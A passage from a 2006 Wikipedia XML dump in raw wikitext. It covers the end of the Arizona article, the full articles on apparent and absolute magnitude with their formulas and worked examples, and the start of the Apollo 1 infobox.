|3 [[Rio Verde, Arizona]]
|$58,783
|16 [[Oro Valley, Arizona]]
|$31,134 
|-
|4 [[Tubac, Arizona]]
|$46,643
|17 [[Williamson, Arizona]]
|$30,232
|-
|5 [[Catalina Foothills, Arizona]]
|$42,006
|18 [[Big Park, Arizona]]
|$30,026
|-
|6 [[Scottsdale, Arizona]]
|$39,158
|19 [[Queen Valley, Arizona]]
|$28,886
|-
|7 [[Cave Creek, Arizona]]
|$38,070
|20 [[Corona de Tucson, Arizona]]
|$28,304
|-
|8 [[Litchfield Park, Arizona]]
|$37,793
|21 [[Elgin, Arizona]]
|$27,909
|-
|9 [[Tanque Verde, Arizona]]
|$36,467
|22 [[Sonoita, Arizona]]
|$27,312
|-
|10 [[Gold Camp, Arizona]]
|$35,010
|23 [[Sun City, Arizona]]
|$25,935
|-
|11 [[Sun Lakes, Arizona]]
|$33,394
|24 [[New River, Arizona]]
|$25,932
|-
|12 [[Fountain Hills, Arizona]]
|$32,230
|25 [[Tortolita, Arizona]]
|$25,550
|-
|13 [[Sun City West, Arizona]]
|$32,049
!colspan=2|[[Richest Places in Arizona|''See complete list of Arizona places'']]
|}

==Notable people==
Famous Arizonans also include former [[Supreme Court of the United States|Supreme Court]] [[Justice]] [[Sandra Day O'Connor]], author [[Zane Grey]], former Governor and Secretary of the Interior [[Bruce Babbitt]], architect [[Frank Lloyd Wright]], Presidential candidate (1964) and former Senator [[Barry Goldwater]], Presidential candidate (1976) and former Arizona congressman [[Mo Udall]] and his brother Secretary of the Interior [[Stewart Udall]], Presidential candidate (2000) and Senior Republican Senator [[John McCain]], former senator [[Carl Hayden]] and former [[Solicitor General]] [[Rex E. Lee]].  From the rock and roll world, both [[Alice Cooper]] and [[Stevie Nicks]] of [[Fleetwood Mac]] are from Phoenix; [[Linda Ronstadt]] is from Tucson. Film director [[Steven Spielberg]] grew up in Scottsdale, as did [[Wonder Woman]] star [[Lynda Carter]]. Labor leader [[Cesar Estrada Chavez]] is from Yuma. 

For a complete list, see ''[[List of people from Arizona]]''.

==Education==
'''Universities'''

Higher education in Arizona is governed at the university level by the [[Arizona Board of Regents]] or the ABOR, a 12-member body. According to information published by the ABOR office and available on their Web site, eight volunteer members are appointed by the Governor to staggered eight-year terms; two students serve on the Board for two-year appointments, with the first year being a nonvoting apprentice year. The Governor and the Superintendent of Public Instruction serve as voting ex-officio members. The ABOR provides &quot;policy guidance&quot; and oversight to the three major degree-granting universities, as provided for by Title 15 of the [[Arizona Revised Statutes]].

'''Community colleges'''

Community colleges in Arizona were governed historically by a separate statewide Board of Directors, but a bill passed in the 2002 regular session of the Legislature (HB 2710, which later became ARS 15-1444) transferred almost all oversight authority to individual community college districts.

===Colleges and universities===
====State universities====
(Ranked by student enrollment)

*[[Arizona State University]]
*[[University of Arizona]]
*[[Northern Arizona University]]

====Community colleges====
*[[Central Arizona Community College]]
*[[Chandler-Gilbert Community College]]
*[[Coconino Community College]]
*[[Estrella Mountain Community College]]
*[[GateWay Community College]]
*[[Glendale Community College (AZ)|Glendale Community College]]
*[[Mesa Community College]]
*[[Paradise Valley Community College]]
*[[Phoenix College]]
*[[Rio Salado Community College]]
*[[Scottsdale Community College]]
*[[South Mountain Community College]]
*[[Pima Community College]]
**Desert Vista Campus
**Downtown Campus
**East Campus
**Northwest Campus
**West Campus
*[[Eastern Arizona College]]
*[[Yavapai Community College]]
*[[Prescott College]]
*[[Cochise College]]
*[[Mohave Community College]]
*[[South Mountain Community College]]
*[[Arizona Western College]]
*[[Northland Pioneer College]]

====Private colleges and trade schools====
*[[American Indian College of the Assemblies of God]]
*[[Art Institute of Phoenix]]
*[[Collins College]], Tempe
*[[DeVry University, Phoenix]]
*[[Embry-Riddle Aeronautical University]]
*[[Grand Canyon University]]
*[[Prescott College]]
*[[Southwestern College (Arizona)|Southwestern College]]
*[[Thunderbird - The Garvin School of International Management]]
*[[University of Phoenix]]
*[[Western International University]]

===Elementary and secondary education===
Public schools in Arizona are separated into about 220 local school districts which operate independently, but are governed in most cases by elected county school superintendents; these are in turn overseen by the [[Arizona State Board of Education]] (a division of the [[Arizona Department of Education]]) and the state Superintendent of Public Instruction (elected in partisan elections every even-numbered year when there is not a presidential election, for a four-year term).

===Education associations===
*[[Arizona Music Educators Association]]
*[[Arizona School Boards Association]]

==Professional sports teams==
*[[Arizona Cardinals]] ([[National Football League]])
*[[Arizona Diamondbacks]] ([[Major League Baseball]])
*[[Arizona Rattlers]] ([[Arena Football League]])
*[[Arizona Sting]] ([[National Lacrosse League]])
*[[Mesa Miners]] ([[Golden Baseball League]])
*[[Phoenix Coyotes]] ([[National Hockey League]])
*[[Phoenix Mercury]] ([[Women's National Basketball Association]])
*[[Phoenix Roadrunners]] ([[East Coast Hockey League]])
*[[Phoenix Suns]] ([[National Basketball Association]])
*[[Surprise Fightin' Falcons]] ([[Golden Baseball League]])
*[[Tucson Sidewinders]] ([[Minor League Baseball]])
*[[Yuma Scorpions]] ([[Golden Baseball League]])

===Spring training===
Arizona is a popular location for [[Major League Baseball]] [[spring training]], as it is the site of the '''Cactus League'''.  The only other location for spring traing is in [[Florida]] with the '''Grapefruit League'''.  The state hosts the following teams:

*[[Arizona Diamondbacks]] in [[Tucson Electric Park]]
*[[Chicago Cubs]] in [[HoHoKam Park]]
*[[Chicago White Sox]] in [[Tucson Electric Park]]
*[[Colorado Rockies]] in [[Hi Corbett Field]]
*[[Kansas City Royals]] in [[Surprise Stadium]]
*[[Los Angeles Angels of Anaheim]] in [[Tempe Diablo Stadium]]
*[[Milwaukee Brewers]] in [[Maryvale Baseball Park]]
*[[Oakland Athletics]] in [[Phoenix Municipal Stadium]]
*[[San Diego Padres]] in [[Peoria Sports Complex]]
*[[San Francisco Giants]] in [[Scottsdale Stadium]]
*[[Seattle Mariners]] in [[Peoria Sports Complex]]
*[[Texas Rangers (baseball)|Texas Rangers]] in [[Surprise Stadium]]

==References==
{{unsourced}}

*David M. Thomas (Ed.) (2003). '''Arizona Legislative Manual.''' In ''[http://www.azleg.state.az.us/alispdfs/Council/legman2003.pdf]''. Phoenix, AZ, Arizona Legislative Council. Google Print. Retrieved January 16, 2006.

==External links==
{{sisterlinks|Arizona}}

*[http://www.azreps.com/gallery1.htm Arizona Photos]
*[http://www.funonthenet.in/content/view/145/31/ Arizona Pictures]
*[http://www.az.gov/webapp/portal/ Arizona @ Your Service]
*[http://www.bea.doc.gov/bea/regional/map/map.asp?po=AZ Arizona Regional Accounts Data]
*[http://www.fedstats.gov/qf/states/04000.html Arizona Demographic Data from FedStats]
*[http://www.census.gov/Press-Release/www/2001/tables/redist_az.html Census 2000 Data for Arizona]
*[http://www.arizonaguide.com/home.asp Official Arizona Office of Tourism]
*[http://www.pr.state.az.us/Parks/parksites.html Arizona State Parks]
*[http://www.lib.az.us/ Arizona State Library, Archives and Public Records]
*[http://www.usnewspapers.org/state/arizona Arizona Newspapers]

{{Arizona}}
{{United_States}}

[[Category:1912 establishments]]
[[Category:Arizona|*]]
[[Category:States of the American West]]
[[Category:States of the United States]]

[[ang:Arizona]]
[[ar:أريزونا]]
[[ast:Arizona]]
[[bg:Аризона]]
[[zh-min-nan:Arizona]]
[[bs:Arizona]]
[[ca:Arizona]]
[[cs:Arizona]]
[[da:Arizona]]
[[de:Arizona]]
[[et:Arizona]]
[[es:Arizona]]
[[eo:Arizono]]
[[eu:Arizona]]
[[fr:Arizona]]
[[ga:Arizona]]
[[gd:Arizona]]
[[gl:Arizona]]
[[ko:애리조나 주]]
[[haw:ʻAlikona]]
[[id:Arizona]]
[[is:Arizona]]
[[it:Arizona]]
[[he:אריזונה]]
[[ka:არიზონა]]
[[kw:Arizona]]
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[[lb:Arizona]]
[[li:Arizona]]
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[[ms:Arizona]]
[[nl:Arizona]]
[[ja:アリゾナ州]]
[[no:Arizona]]
[[nn:Arizona]]
[[os:Аризонæ (штат)]]
[[pl:Arizona]]
[[pt:Arizona]]
[[ro:Arizona]]
[[ru:Аризона (штат)]]
[[sq:Arizona]]
[[simple:Arizona]]
[[sk:Arizona]]
[[sl:Arizona]]
[[sr:Аризона]]
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[[tr:Arizona]]
[[uk:Арізона]]
[[zh:亞利桑那州]]</text>
    </revision>
  </page>
  <page>
    <title>Apparent magnitude</title>
    <id>1962</id>
    <revision>
      <id>41562250</id>
      <timestamp>2006-02-28T04:08:45Z</timestamp>
      <contributor>
        <username>CambridgeBayWeather</username>
        <id>294180</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/68.201.244.197|68.201.244.197]] ([[User talk:68.201.244.197|talk]]) to last version by JYOuyang</comment>
      <text xml:space="preserve">The '''apparent magnitude''' ('''''m''''') of a [[star]], [[planet]] or other celestial body is a [[measurement|measure]] of its apparent [[brightness]] as seen by an observer on Earth. The brighter the object appears, the lower the numerical value of its '''magnitude'''.

The scale upon which magnitude is measured has its origin in the [[Hellenistic Greece|Hellenistic]] practice of dividing those stars visible to the naked eye into six ''magnitudes''. The brightest stars were said to be of first magnitude (''m'' =  1), while the faintest were of sixth magnitude (''m'' =  6), the limit of [[human]] [[visual perception]] (without the aid of a [[telescope]]). Each grade of magnitude was considered to be twice the brightness of the following grade. This somewhat crude method of indicating the brightness of stars was popularized by [[Ptolemy]] in his ''[[Almagest]]'', and is generally believed to have originated with [[Hipparchus (astronomer)|Hipparchus]]. This original system did not measure the magnitude of the [[Sun]]. Because the response of the eye to light is logarithmic, the resulting scale is also logarithmic.

In [[1856]], [[Norman Robert Pogson|Pogson]] formalized the system by defining a typical first magnitude star as a star that is 100 times as bright as a typical sixth magnitude star; thus, a first magnitude star is about 2.512 times as bright as a second magnitude star. The fifth root of 100, an [[irrational number]] about (2.512) is known as ''Pogson's Ratio''. Pogson's scale was originally fixed by assigning [[Polaris]] a magnitude of 2. Astronomers later discovered that Polaris is slightly variable, so they first switched to [[Vega]] as the standard reference star, and then switched to using tabulated zero points for the measured fluxes (see second Reference below). The magnitude depends on the wavelength band (see below). 

The modern system is no longer limited to 6 magnitudes or only to visible light.  Very bright objects have ''negative'' magnitudes. For example, [[Sirius]], the brightest star of the [[celestial sphere]], has an apparent magnitude of &amp;minus;1.44 to &amp;minus;1.46. The modern scale includes the [[Moon]] and the [[Sun]]; the full Moon has an apparent magnitude of &amp;minus;12.6 and the Sun has an apparent magnitude of &amp;minus;26.8. [[Hubble Space Telescope|Hubble]] has located stars with magnitudes of 30 at visible wavelengths and the [[Keck telescopes]] have located similarly faint stars in the infrared.

{| border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
| colspan=&quot;2&quot; |&lt;big&gt;'''Scale of apparent magnitudes'''&lt;/big&gt;
|-
! App. Mag.
! Celestial object
|-
| &amp;minus;26.73 || [[Sun]]
|-
| &amp;minus;12.6 || full [[Moon]]
|-
| &amp;minus;8.0
| Maximum brightness of an [[Satellite flare|Iridium Flare]]
|-
| &amp;minus;4.4
| Maximum brightness of [[Venus (planet)|Venus]]
|-
| &amp;minus;4.0
| Faintest objects observable during the day with naked eye
|-
| &amp;minus;2.8
| Maximum brightness of [[Mars (planet)|Mars]]
|-
| &amp;minus;1.5 || Brightest star at visible wavelengths: [[Sirius]]
|-
| &amp;minus;0.7 || Second brightest star: [[Canopus (star)|Canopus]]
|-
| 0
| The zero point by definition: This used to be [[Vega]]&lt;/br&gt; (see [[Apparent magnitude#References|references]] for modern zero point) 
|-
|  ~3
| Faintest stars visible in an urban neighborhood
|-
|  ~6
| Faintest [[star]]s observable with naked eye
|-
|  12.6 || Brightest [[quasar]]
|-
|  27
| Faintest objects observable in visible light with 8m ground-based telescopes
|-
|  30
| Faintest objects observable in visible light with [[Hubble Space Telescope]]
|-
|-
|  38
| Faintest objects observable in visible light with planned [[Overwhelmingly_Large_Telescope|OWL]] (2020)
|-
| colspan=2 | (see also [[List of brightest stars]])
|}
These are only approximate values at visible wavelengths (in reality the values depend on the precise bandpass used) &amp;mdash; see [[Airglow#How_to_calculate_the_effects_of_airglow|airglow]] for more details of telescope sensitivity.

As the amount of light received actually depends on the thickness of the [[celestial body atmosphere|atmosphere]] in the line of sight to the object, the apparent magnitudes are normalized to the value it would have outside the atmosphere. The dimmer an object appears, the higher its apparent magnitude. Note that apparent brightness is not equal to actual brightness &amp;mdash; an extremely bright object may appear quite dim, if it is far away. The rate at which apparent brightness changes, as the distance from an object increases, is [[calculation|calculated]] by the [[inverse-square law]] (at cosmological distance scales, this is no longer quite true because of the [[curvature of space]]). The [[absolute magnitude]], ''M'', of a star or [[galaxy]] is the apparent magnitude it would have if it were 10 [[parsec]]s (~ 32 [[lightyears]]) away; that of a planet (or other solar system body) is the apparent magnitude it would have if it were 1 [[astronomical unit]] away from both the [[Sun]] and [[Earth]]. The absolute magnitude of the Sun is  4.83 in the V band (yellow)  and  5.48 in the B band (blue).

The apparent magnitude in the band x can be defined as

:&lt;math&gt;m_{x}= -2.5 \log_{10} (F_x)  +  C\!\,&lt;/math&gt;

where &lt;math&gt;F_x\!\,&lt;/math&gt; is the observed [[flux]] in the band x,
and &lt;math&gt;C\!\,&lt;/math&gt; is a constant that depends on the units of the flux and the band. The constant &lt;math&gt;C\!\,&lt;/math&gt; is defined in [[Apparent_magnitude#References|Aller et al 1982]] for the most commonly used system.

The second thing to notice is that the scale is [[logarithm]]ic: the relative brightness of two objects is determined by the difference of their magnitudes. For example, a difference of 3.2 means that one object is about 19 times as bright as the other, because Pogson's ratio raised to the power 3.2 is 19.054607...
The logarithmic nature of the scale is due to the fact of the human [[eye]] itself having a logarithmic response, see [[Weber-Fechner law]].

Magnitude is complicated by the fact that light is not [[monochromatic]]. The sensitivity of a light detector varies according to the wavelength of the light, and the way in which it varies depends on the type of light detector. For this reason, it is necessary to specify how the magnitude is measured in order for the value to be meaningful. For this purpose the UBV system is widely used, in which the magnitude is measured in three different wavelength bands: U (centred at about 350 nm, in the near [[ultraviolet]]), B (about 435 nm, in the blue region) and V (about 555 nm, in the middle of the human visual range in daylight). The V band was chosen for spectral purposes and gives magnitudes closely corresponding to those seen by the light-adapted human eye, and when an apparent magnitude is given without any further qualification, it is usually the V magnitude that is meant, more or less the same as '''visual magnitude'''.

Since cooler stars, such as [[red giant]]s and [[red dwarf]]s, emit little energy in the blue and UV regions of the spectrum their power is often under-represented by the UBV scale. Indeed, some [[stellar classification|L and T class]] stars have an estimated magnitude of well over 100, since they emit extremely little visible light, but are strongest in [[infrared]].

Measures of magnitude need cautious treatment and it is extremely important to measure like with like. On early 20th-century and older orthochromatic (blue-sensitive) [[photographic film]], the relative brightnesses of the blue [[supergiant]] [[Rigel]] and the red supergiant [[Betelgeuse]] irregular variable star (at maximum) are reversed compared to what our eyes see since this archaic film is more sensitive to blue light than it is to red light.  Magnitudes obtained from this method are known as [[photographic magnitude]]s, and are now considered obsolete.

For objects within our Galaxy with a given [[absolute magnitude]], 5 is added to the apparent magnitude for every tenfold increase in the distance to the object. This relationship does not apply for objects at very great distances (far beyond our galaxy), since a correction for [[General Relativity]] must then be taken into account due to the non-Euclidean nature of space.

==See also==
* [[Absolute magnitude]]
* [[Brightest stars|List of Brightest stars]]
* [[List of nearest bright stars]]
* [[List of nearest stars]]

== References ==
* [http://articles.adsabs.harvard.edu//full/1857MNRAS..18...47P Magnitudes of Thirty-six of the Minor Planets for the first day of each month of the year 1857], [[Norman Robert Pogson|N. Pogson]], [[Monthly Notices of the Royal Astronomical Society|MNRAS]] 17 pp 12 [[1856]] -- in which Pogson first introduced his magnitude system
* [http://ukads.nottingham.ac.uk/cgi-bin/nph-bib_query?bibcode=1982lbor.book.....A&amp;amp;db_key=AST Landolt-Börnstein: Numerical Data and Functional Relationships in Science and Technology - New Series &quot; Gruppe/Group 6 Astronomy and Astrophysics &quot; Volume 2 Schaifers/Voigt: Astronomy and Astrophysics / Astronomie und Astrophysik &quot; Stars and Star Clusters / Sterne und Sternhaufen] Aller, L. H. et al, ISBN # 3-540-10976-5; 0-387-10976-5 [[1982]] -- modern definition of the zero point for the most common magnitude system

== External links ==
* [http://www.astronomynotes.com/starprop/s4.htm The Magnitude system]
* [http://csep10.phys.utk.edu/astr162/lect/stars/magnitudes.html About stellar magnitudes]
* [http://simbad.u-strasbg.fr/sim-fid.pl Obtain the magnitude of any star from SIMBAD]

[[Category:Observational astronomy]]

[[als:Scheinbare Helligkeit]]
[[bg:Видима величина]]
[[ca:Magnitud aparent]]
[[cs:Hvězdná velikost]]
[[de:Scheinbare Helligkeit]]
[[et:Tähesuurus]]
[[es:Magnitud aparente]]
[[fr:Magnitude apparente]]
[[ko:겉보기 등급]]
[[id:Magnitudo tampak]]
[[it:Magnitudine apparente]]
[[he:בהירות]]
[[hu:Magnitúdó]]
[[nl:Magnitude]]
[[ja:等級 (天文)]]
[[pl:Wielkość gwiazdowa]]
[[ro:Magnitudine aparentă]]
[[ru:Видимая звёздная величина]]
[[sk:Zdanlivá hviezdna veľkosť]]
[[sl:Navidezni sij]]
[[th:โชติมาตรปรากฏ]]
[[vi:Độ sáng biểu kiến]]
[[zh:星等]]</text>
    </revision>
  </page>
  <page>
    <title>Absolute magnitude</title>
    <id>1963</id>
    <revision>
      <id>41786857</id>
      <timestamp>2006-03-01T19:18:17Z</timestamp>
      <contributor>
        <username>TreyHarris</username>
        <id>67000</id>
      </contributor>
      <minor />
      <comment>/* Computation */ no need for math mode for inline π</comment>
      <text xml:space="preserve">In [[astronomy]], '''absolute magnitude''' is the [[apparent magnitude]], ''m'', an object would have if it were at a standard [[luminosity distance]] away from us. It allows the overall brightnesses of objects to be compared without regard to distance.

The absolute magnitude uses the same convention as the visual magnitude, with a ~2.512&lt;!--- exact = 100**(1/5) ---&gt; difference in [[brightness]] between step rates (because 2.512&lt;sup&gt;5&lt;/sup&gt; ≈ 100). The [[Milky Way]], for example, has an absolute magnitude of about &amp;minus;20.5. So a [[quasar]] at an absolute magnitude of &amp;minus;25.5 is 100 times brighter than our [[galaxy]]. If this particular quasar and our galaxy could be seen side by side at the same distance, the quasar would be 5 magnitudes (or 100 times) brighter than our galaxy.

== Absolute Magnitude for stars and galaxies ('''''M''''') ==

In stellar and galactic astronomy, the standard [[distance]] is 10 [[parsec|parsecs]] (about 32.616 [[light year|light years]], or 3&amp;times;10&lt;sup&gt;14&lt;/sup&gt; [[kilometre]]s). A star at ten parsecs has a parallax of 0.1&quot; (100 milli arc seconds).

In defining absolute magnitude it is necessary to specify the type of [[electromagnetic radiation]] being [[measurement|measured]]. When referring to total [[energy]] output, the proper term is '''bolometric magnitude'''. The dimmer an object (at a distance of 10 parsecs) would appear, the higher its absolute magnitude. The lower an object's absolute magnitude, the higher its [[luminosity]]. A [[mathematics|mathematical]] [[equation]] [[Relation (mathematics)|relates]] apparent magnitude with absolute magnitude, via [[parallax]].

Many stars visible to the naked eye have an absolute magnitude which is capable of casting [[shadow]]s from a distance of 10 parsecs; [[Rigel]] (&amp;minus;7.0), [[Deneb]] (&amp;minus;7.2), [[Naos]] (&amp;minus;7.3), and [[Betelgeuse]] (&amp;minus;5.6).

For comparison, [[Sirius]] has an absolute magnitude of 1.4 and the [[Sun]] has an absolute visual magnitude of 4.83 (it actually serves as a reference point).

Absolute magnitudes for stars generally [[range]] from &amp;minus;10 to +17. The absolute magnitude for galaxies can be much lower (brighter). For example, the giant [[elliptical galaxy]] [[Elliptical Galaxy M87|M87]] has an absolute magnitude of &amp;minus;22.

=== Computation ===

You can compute the absolute magnitude &lt;math&gt;M\!\,&lt;/math&gt; of a star given its [[apparent magnitude]] &lt;math&gt;m\!\,&lt;/math&gt; and [[luminosity distance]] &lt;math&gt;D_L\!\,&lt;/math&gt;:
:&lt;math&gt; M = m - 5 (\log_{10}{D_L} - 1)\!\,&lt;/math&gt;

where &lt;math&gt;D_L\!\,&lt;/math&gt; is the stars luminosity distance in [[parsecs]], which are (&amp;#8776; 3.2616 [[light-year]]s)

For nearby astronomical objects (such as stars in our galaxy) the [[luminosity distance]] ''D&lt;sub&gt;L&lt;/sub&gt;'' is almost identical to the real [[distance]] to the object, because spacetime within our galaxy is almost Euclidean. For much more distant objects the Euclidean approximation is not valid, and [[General Relativity]] must be taken into account when calculating the luminosity distance of an object.

In the Euclidean approximation for nearby objects, the absolute magnitude &lt;math&gt;M\!\,&lt;/math&gt; of a star can be calculated from its [[apparent magnitude]] and [[parallax]]:
:&lt;math&gt; M = m + 5 (\log_{10}{\pi} + 1)\!\,&lt;/math&gt;

where π is the star's parallax in seconds of an arc.

==== Example ====

: [[Rigel]] has a visual magnitude of m&lt;sub&gt;V&lt;/sub&gt;=0.18 and distance about 773 light-years.
:: M&lt;sub&gt;V&lt;sub&gt;Rigel&lt;/sub&gt;&lt;/sub&gt; = 0.18 + 5*log&lt;sub&gt;10&lt;/sub&gt;(32.616/773) = &amp;minus;6.7
: [[Vega]] has a parallax of 0.133&quot;, and an apparent magnitude of +0.03
:: M&lt;sub&gt;V&lt;sub&gt;Vega&lt;/sub&gt;&lt;/sub&gt; = 0.03 + 5*(1 + log&lt;sub&gt;10&lt;/sub&gt;(0.133)) = +0.65
: [[Alpha Centauri]] has a [[parallax]] of 0.750&quot; and an apparent magnitude of -0.01
:: M&lt;sub&gt;V&lt;sub&gt;&amp;alpha; Cen&lt;/sub&gt;&lt;/sub&gt; = &amp;minus;0.01 + 5*(1 + log&lt;sub&gt;10&lt;/sub&gt;(0.750)) = +4.37

=== Apparent magnitude ===

Given the absolute magnitude &lt;math&gt;M\!\,&lt;/math&gt;, for objects within our galaxy you can also calculate the apparent magnitude &lt;math&gt;m\!\,&lt;/math&gt; from any distance &lt;math&gt;d\!\,&lt;/math&gt;:

:&lt;math&gt; m = M + 5 (\log_{10}{d} - 1)\!\,&lt;/math&gt;

For objects at very great distances (outside our galaxy) the [[luminosity distance]] ''D&lt;sub&gt;L&lt;/sub&gt;'' must be used instead of ''d''.

== Absolute Magnitude for planets ('''''H''''') ==

For [[planets]], [[comet]]s and [[asteroid]]s a different definition of absolute magnitude is used which is more meaningful for nonstellar objects.

In this case, the absolute magnitude is defined as the apparent magnitude that the object would have if it were one [[astronomical unit]] (au) from both the [[Sun]] and the [[Earth]] and at a [[phase angle (astronomy)|phase angle]] of zero degrees. This is a physical impossibility, but it is convenient for purposes of calculation.

To convert a stellar or galactic absolute magnitude into a planetary one, subtract 31.57. This factor also corresponds to the difference between the Sun's [[visual magnitude]] of &amp;minus;26.8 and its (stellar) absolute magnitude of +4.8. Thus, the Milky Way (galactic absolute magnitude &amp;minus;20.5) would have a planetary absolute magnitude of &amp;minus;52.

=== Calculations ===

Formula for H: (Absolute Magnitude)
: &lt;math&gt; H = m_{Sun} - 5 \log_{10}\frac{ \sqrt { a } r}{d_0}\!\,&lt;/math&gt;

where &lt;math&gt;m_{Sun}\!\,&lt;/math&gt; is the apparent magnitude of the Sun at 1 au (&amp;minus;26.73), &lt;math&gt;a\!\,&lt;/math&gt; is the geometric [[albedo]] of the body (a number between 0 and 1), &lt;math&gt;r\!\,&lt;/math&gt; is its [[radius]] and &lt;math&gt;d_0\!\,&lt;/math&gt; is 1 au (&amp;#8776;149.6 Gm).

==== Example ====

Moon: &lt;math&gt;a_{Moon}\!\,&lt;/math&gt; = 0.12, &lt;math&gt;r_{Moon}\!\,&lt;/math&gt; = 3476/2 km = 1738 km
: &lt;math&gt; H_{Moon} = m_{Sun} - 5 \log_{10}\frac{ \sqrt { a_{Moon} } r_{Moon}}{d_0} = +0.25\!\,&lt;/math&gt;

=== Apparent magnitude ===

The absolute magnitude can be used to help calculate the apparent magnitude of a body under different conditions.

:&lt;math&gt;m = H + 2.5 \log_{10}{(\frac{d_{BS}^2 d_{BO}^2}{p(\chi) d_0^4})}\!\,&lt;/math&gt;

where

&lt;math&gt;d_0\!\,&lt;/math&gt; is 1 au, &lt;math&gt;\chi\!\,&lt;/math&gt; is the [[phase angle (astronomy)|phase angle]], the angle between the Sun-Body and Body-Observer lines; by the [[law of cosines]], we have:
:&lt;math&gt;\cos{\chi} = \frac{ d_{BO}^2 + d_{BS}^2 - d_{OS}^2 } {2 d_{BO} d_{BS}}\!\,&lt;/math&gt;

&lt;math&gt;p(\chi)\!\,&lt;/math&gt; is the [[phase integral]] (integration of reflected light; a number in the 0 to 1 range)
:Example: (An [[Lambertian_diffuse_lighting_model|ideal diffuse reflecting]] [[sphere]]) - A reasonable first approximation for planetary bodies

&lt;math&gt;p(\chi) = \frac{2}{3} ( (1 - \frac{\chi}{\pi}) \cos{\chi} + (1/\pi) \sin{\chi} )\!\,&lt;/math&gt;
: A full-phase diffuse sphere reflects 2/3 as much light as a diffuse disc of the same diameter
: Distances:
:: &lt;math&gt;d_{BO}\!\,&lt;/math&gt; is the distance between the observer and the body
:: &lt;math&gt;d_{BS}\!\,&lt;/math&gt; is the distance between the Sun and the body
:: &lt;math&gt;d_{OS}\!\,&lt;/math&gt; is the distance between the observer and the Sun

==== Example ====

Moon
: &lt;math&gt;H_{Moon}\!\,&lt;/math&gt; = +0.25
: &lt;math&gt;d_{OS}\!\,&lt;/math&gt; = &lt;math&gt;d_{BS}\!\,&lt;/math&gt; = 1 au
: &lt;math&gt;d_{BO}\!\,&lt;/math&gt; = 384.5 Mm = 2.57 mau

: How bright is the Moon from Earth?
:: Full Moon: &lt;math&gt;\chi\!\,&lt;/math&gt; = 0, (&lt;math&gt;p(\chi)\!\,&lt;/math&gt; &amp;#8776; 2/3)
::: &lt;math&gt;m_{Moon} = 0.25 + 2.5 \log_{10}{(\frac{3}{2} 0.00257^2)} = -12.26\!\,&lt;/math&gt;
::: (Actual -12.7) A full Moon reflects 30% more light at full phase than a perfect diffuse reflector predicts.
:: Quarter Moon: &lt;math&gt;\chi\!\,&lt;/math&gt; = 90°, &lt;math&gt;p(\chi) \approx \frac{2}{3\pi}\!\,&lt;/math&gt; (if diffuse reflector)
::: &lt;math&gt;m_{Moon} = 0.25 + 2.5 \log_{10}{(\frac{3\pi}{2} 0.00257^2)} = -11.02\!\,&lt;/math&gt;
::: (Actual approximately &amp;minus;11.0) The diffuse reflector formula does better for smaller phases.

== See also ==

* [[H-R diagram|Hertzsprung-Russell diagram]] - Relates absolute magnitude or [[luminosity]] versus spectral color or surface [[temperature]].
* [[Jansky]] radio astronomer's prefered unit - linear in power/unit area

==External links==

* [http://www.astronomynotes.com/starprop/s4.htm The Magnitude system]
* [http://csep10.phys.utk.edu/astr162/lect/stars/magnitudes.html About stellar magnitudes]
* [http://simbad.u-strasbg.fr/sim-fid.pl Obtain the magnitude of any star from SIMBAD]
* [http://cfa-www.harvard.edu/cfa/ps/lists/Sizes.htm Converting magnitude of minor planets to diameter]
Absolute Magnitude may also refer to a science fiction magazine of that name.
* [http://www.dnapublications.com/absmag/  DNA Publications website]

[[Category:Observational astronomy]]

[[bg:Абсолютна величина]]
[[ca:Magnitud absoluta]]
[[cs:Absolutní hvězdná velikost]]
[[da:Absolut størrelsesklasse]]
[[de:Absolute Helligkeit]]
[[es:Magnitud absoluta]]
[[fr:Magnitude absolue]]
[[ko:절대 등급]]
[[hr:Apsolutna magnituda]]
[[id:Magnitudo multak]]
[[it:Magnitudine assoluta]]
[[hu:Abszolút magnitúdó]]
[[nl:Lichtkracht]]
[[pl:Absolutna wielkość gwiazdowa]]
[[pt:Magnitude absoluta]]
[[ru:Абсолютная звёздная величина]]
[[sk:Absolútna hviezdna veľkosť]]
[[sl:Absolutni izsev]]
[[sv:Absolut magnitud]]
[[th:โชติมาตรสัมบูรณ์]]
[[zh:絕對星等]]</text>
    </revision>
  </page>
  <page>
    <title>Apollo 1</title>
    <id>1965</id>
    <revision>
      <id>40858377</id>
      <timestamp>2006-02-23T13:40:52Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Insulation]] to [[thermal insulation]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;float:right;margin-left:1em;width:250px;&quot;
|+&lt;big&gt;'''Apollo 1'''&lt;/big&gt;
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Mission Insignia
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:Apollo_1_patch.jpg|200px|Apollo 1 insignia]]
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Planned Mission
|-
|'''Mission Name:'''||Apollo 1 (AS-204)
|-
|'''Call Sign:'''||Command module:&lt;br /&gt;''Apollo 1''
|-
|'''Number of&lt;br /&gt;Crew:'''||3
|-
|''' Planned&lt;br /&gt;Launch:'''||[[February 21]] [[1967]]&lt;br /&gt;[[Kennedy Space Center]]&lt;br /&gt;LC 34
|-
|'''Planned&lt;br /&gt;Apogee:'''||~300 km
|-
|'''Planned&lt;br /&gt;Perigee:'''||~230 km
|-
|'''Planned&lt;br /&gt;Period:'''||~89.7 m
|-
|'''Planned&lt;br /&gt;Inclination:'''||~31°
|-
|'''Planned&lt;br /&gt;Landing:'''||[[March 7]] [[1967]]&lt;br /&gt;Atlantic Ocean&lt;br /&gt;N of Puerto Rico&lt;br /&gt;planned  carrier&lt;br /&gt;[[USS Essex (CV-9)]]
|-
|'''Planned&lt;br /&gt;Duration:'''||14 days
|-
|'''Planned&lt;br /&gt;Number of&lt;br /&gt;Orbits:'''||~200
|-
|'''Mass:'''||CSM 20,412 kg
|-
